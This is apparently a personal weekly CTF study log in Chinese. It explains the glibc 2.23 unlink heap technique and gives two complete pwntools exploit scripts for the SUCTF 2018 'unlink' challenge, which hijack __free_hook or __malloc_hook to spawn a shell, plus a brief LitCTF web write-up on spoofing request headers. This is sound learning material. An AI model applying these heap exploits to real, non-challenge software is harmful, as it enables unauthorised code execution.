本周学习总结
全局常量声明:文章内容仅是由教程观点和自己总结获得,仅供参考。
一、Unlink
测试Glibc为2.23-0ubuntu11.3_amd64
对于Unlink手法的使用和效果在B站星盟团队的pwn系列视频中有详细的讲解。
视频链接:Unlink_哔哩哔哩_bilibili
这里进行适当补充。
1.在测试的Glibc环境下,只有当相邻堆块差距达到一定大小的情况下才会触发相邻合并(比如0x20和0x80)
2.对于fd和bk的校验则是要求fd+0x18和bk+0x10中的内容和当前被合并堆块的prive_size地址相同。
假设被合并堆块的当前地址为0x11451400,则*(fd+0x18) == 0x11451400 && *(bk+0x10) == 0x11451400
而不是(fd+0x18) == 0x11451400 && (bk+0x10) == 0x11451400。
3.在Unlink利用中,必须将原被合并堆块的fd变成prive_size,bk变成size,fd和bk紧接着写入,最后改变下个堆块的prive_size和size位,这么做的原因是为了方便合并时绕过对prive_size的检查,因为在星盟的例子里,bss段上存储的是堆块的fd地址。
二、[SUCTF 2018 招新赛]–unlink–对Unlink的使用
check:

64位程序,canary和NX开启。
漏洞:

这个函数存在唯一漏洞堆溢出。程序本身支持增查删改。
程序通过bss段上的一个变量来存储每个堆块的fd地址,可以考虑用Unlink将bss段上这个变量的地址写入这个bss变量的其中某个位置,使得我们呢想编辑堆块一样编辑bss段上这个变量的地址。
然后通过向bss段变量中写入__free_hook的地址,然后直接编辑__free_hook为system,然后就能getshell。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def cp(): p.close()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def raddr_T(): return int(re(14), 16)
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gdbm(name, b=''): if b != '': gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b) else: gdb.attach(target=("127.0.0.1", 99999), exe=name)
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = process("./service")
libc = ELF("./libc.so.6")
def add(size): sela(b"please chooice :\n", stre(1)) sela(b"size : \n", stre(size))
def dele(index): sela(b"please chooice :\n", stre(2)) sela(b"delete\n", stre(index))
def show(index): sela(b"please chooice :\n", stre(3)) sela(b"show\n", stre(index))
def edit(index, content): sela(b"please chooice :\n", stre(4)) sela(b"modify :\n", stre(index)) sea(b"content\n", content)
add(0x100) add(0x80) dele(0) add(0x100) show(0) reu(b"is : \n")
libc_base = raddr64() - 0x3c4b78 ph(libc_base, "libc_base")
free_hook = libc_base + libc.sym["__free_hook"] sys_addr = libc_base + libc.sym["system"]
add(0x80) add(0x20) add(0x80) add(0x80)
fack_addr = 0x6020D8 fd = fack_addr - 0x18 bk = fack_addr - 0x10
payload = p64(0) + p64(0x20) + p64(fd) + p64(bk) + p64(0x20) + p64(0x90) edit(3, payload) dele(4) edit(3, p64(free_hook)) edit(0, p64(sys_addr)) edit(5, b"/bin/sh\x00") dele(5) op()
|
三、[SUCTF 2018 招新赛]–unlink–通过offbyone来实现堆块堆叠
通过offbyone堆叠也是一样的原理。在Unlink的基础上实现的堆叠。
check:

64位程序,canary和NX开启。
在Unlink的基础上,改原先劫持bss段上的地址目标为直接对堆块进行劫持。
具体方法为在可释放后合并的相邻两个堆块A和B中,通过修改A的fd+0x18和bk+0x10的值到堆块A的A+0x20位置(只要不干扰unlink合并的位置都可以),在此之前需要暴露堆基地址或计算出A的堆地址以获得相关数据,
修改完成后释放B堆块,此时A和B堆块合并,但是A堆块仍然和编辑,且可编辑的位置刚好是合并后堆块的fd地址,可以通过直接修改或申请再释放后修改来申请任意地址的堆块。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def cp(): p.close()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def raddr_T(): return int(re(14), 16)
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gdbm(name, b=''): if b != '': gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b) else: gdb.attach(target=("127.0.0.1", 99999), exe=name)
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = process("./service")
libc = ELF("./libc.so.6")
def add(size): sela(b"please chooice :\n", stre(1)) sela(b"size : \n", stre(size))
def dele(index): sela(b"please chooice :\n", stre(2)) sela(b"delete\n", stre(index))
def show(index): sela(b"please chooice :\n", stre(3)) sela(b"show\n", stre(index))
def edit(index, content): sela(b"please chooice :\n", stre(4)) sela(b"modify :\n", stre(index)) sea(b"content\n", content)
add(0x100) add(0x20) add(0x20) dele(0) add(0x100) show(0) reu(b"is : \n")
libc_base = raddr64() - 0x3c4b78 ph(libc_base, "libc_base")
free_hook = libc_base + libc.sym["__malloc_hook"] realloc_hook = libc_base + 0x8471B one = libc_base + 0x4527a
dele(1) dele(2) add(0x20) show(1) reu(b"is : \n")
heap_base = raddr32() - 0x110 ph(heap_base, "heap_base")
data = heap_base + 0x170 fack_addr = heap_base + 0x190 fd = fack_addr - 0x18 bk = fack_addr - 0x10
add(0x20) add(0x20) add(0x80) add(0x20)
edit(3, p64(fd) + p64(bk) + p64(data) + p64(0) + p64(0x30) + b"\x90") dele(4) add(0x60) dele(4) edit(3, p64(free_hook - 0x23) + p64(0)) add(0x60) add(0x60) edit(6, b"A" * 0xB + p64(one) + p64(realloc_hook)) add(0x20) op()
|
四、[LitCTF 2023]–Http pro max plus
获得IP地址node5.anna.nssctf.cn:28789

只能通过本地IP地址访问。

xxf无法绕过,尝试使用C-IP。

需要来源为pornhub.com(你最好别访问)。

需要使用Chrome浏览器访问。

要求开启代理为Clash.win。

触发借一步说话。

注释发现好康的文件。

获得flag。
下周学习计划
| 应该要做的事情 |
IO!我tm学学学学学学学学学学学学学学学学学学学学。
学习感受
